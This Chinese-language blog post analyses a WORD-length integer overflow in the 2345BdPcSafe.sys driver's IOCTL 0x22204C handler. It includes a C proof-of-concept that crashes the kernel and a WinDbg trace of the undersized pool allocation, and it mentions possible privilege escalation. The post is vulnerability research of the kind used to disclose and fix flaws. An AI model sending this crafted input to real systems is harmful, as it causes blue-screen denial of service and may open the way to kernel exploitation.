2345內核拒絕服務漏洞(3)- WORD的鍋

漏洞概述

2345安全軟件的驅動2345BdPcSafe.sys在ioctl(0x0022204C)接口處理中,對輸入數據校驗不嚴格,精心構造的數據可導致在處理過程中內存拷貝時溢出,然後bsod拒絕服務,甚至可內核提權。

漏洞分析

IRP_MJ_DEVICE_CONTROL處理函數中,對0x22204C接口進行處理時,有一段拷貝字符串的操作如下所示:

img

struct _ioctl_buf
{
  WORD len;
  WORD len_;
  DWORD unk2;
  _ioctl_buf_str *ptr;
};
struct _ioctl_buf_str
{
  wchar_t buf[1];
};

a2是一個_ioctl_buf結構(由應用層輸入構造而成),len2是輸入的另一個字符串的長度,通過a2->len(2字節)和len2(2字節)計算得到len1,關鍵在於len1是也一個WORD變量,只有2字節,所以當a2->len+len2的大小超過WORD溢出之後,會被截斷成WORD,截斷後的值賦給len1,此時就可能導致len1的值反而小於a2->len。比如:

0xa3d0 + 0xb4f0 = 0x158C0 =>截斷=> 0x58C0
0x58C0 < 0xa3d0

接着根據len1分配內存pmemmove拷貝a2->ptr內容到p中,長度按a2->len,問題就來了,a2-len大於len1時,就會導致拷貝溢出,bsod(寫溢出,可控制內容,可以做更多的利用了,這裏我不擅長了)。

好了,漏洞成因這裏就分析完了。

下面看一下poc

int poc()
{
	
	DWORD BytesReturned = 0;

	HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");
	if (h == INVALID_HANDLE_VALUE) {
		return 1;
	}
    //過白名單檢查
	if (!BypassChk(h)) {
		return 1;
	}
	
//BSOD
	DWORD ctlcode = 0x22204C;
#pragma pack(push, 1)
	struct _ioctl_buf_in
	{
		DWORD unk1;
		DWORD unk2;//4
		DWORD offset1;//8 =0x18
		DWORD offset2;//c =A3E8
		DWORD offset3;//10
		DWORD unk3;//14
		char buf1[0xa3d0];//18
		char buf2[0xb4f0];//18+a3d0 
	}; //0x158D8
#pragma pack(pop)

	_ioctl_buf_in buff = { 0 };
	buff.unk1 = 4;
	buff.unk3 = 4;
	buff.offset1 = 0x18;
	buff.offset2 = (char*)&buff.buf2 - (char*)&buff;
	buff.offset3 = 0;
	memset(buff.buf1, 0x41, 0xa3d0);
	memset(buff.buf2, 0x41, 0xb4f0);

	if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, 0, &BytesReturned, NULL)) {
		printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());
	}
	return 0;
}

其中buff.buf1buff.buf2的長度0xa3d0 + 0xb4f0 = 0x158c0(截斷)就是a2->len(0x58c0),buff.buf2的長度b4f0就是len2

我們在調試中看一下計算結果,可以清晰看到len1=0xdb2 < 0x58c0(a2->len)

0: kd> p
2345BdPcSafe+0x561c:
fffff880`0540561c 660307          add     ax,word ptr [rdi]
0: kd> r rdi
rdi=fffffa8026539658
0: kd> dw fffffa8026539658 l1
fffffa80`26539658  58c0
//a2->len = 0x58c0
0: kd> p
2345BdPcSafe+0x561f:
fffff880`0540561f 664103c1        add     ax,r9w
0: kd> r rax
rax=00000000000058c2
//len2 = 0xb4f0
0: kd> r r9
r9=000000000000b4f0
0: kd> p
2345BdPcSafe+0x5623:
fffff880`05405623 0fb7d0          movzx   edx,ax
0: kd> r rax
rax=0000000000000db2
//len1 = 0xdb2
0: kd> p
2345BdPcSafe+0x562a:
fffff880`0540562a ff15b80e0300    call    qword ptr [2345BdPcSafe+0x364e8 (fffff880`054364e8)]
0: kd> dq fffff880`054364e8 l1
fffff880`054364e8  fffff800`03ff70e0
0: kd> u fffff800`03ff70e0
nt!ExAllocatePoolWithTag:
fffff800`03ff70e0 fff5            push    rbp
0: kd> r rcx;r rdx;r r8
rcx=0000000000000001
rdx=0000000000000db2
r8=0000000035343332
//參數:p = ExAllocatePoolWithTag(1, 0xdb2, 0x35343332);

結語

這個漏洞主要是對輸入參數結構體的長度字段校驗不夠嚴謹,導致變量溢出截斷出現意外的大小結果導致了漏洞的產生。

該系列後續會繼續分析其他原因引起的漏洞,如有興趣,敬請期待!

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章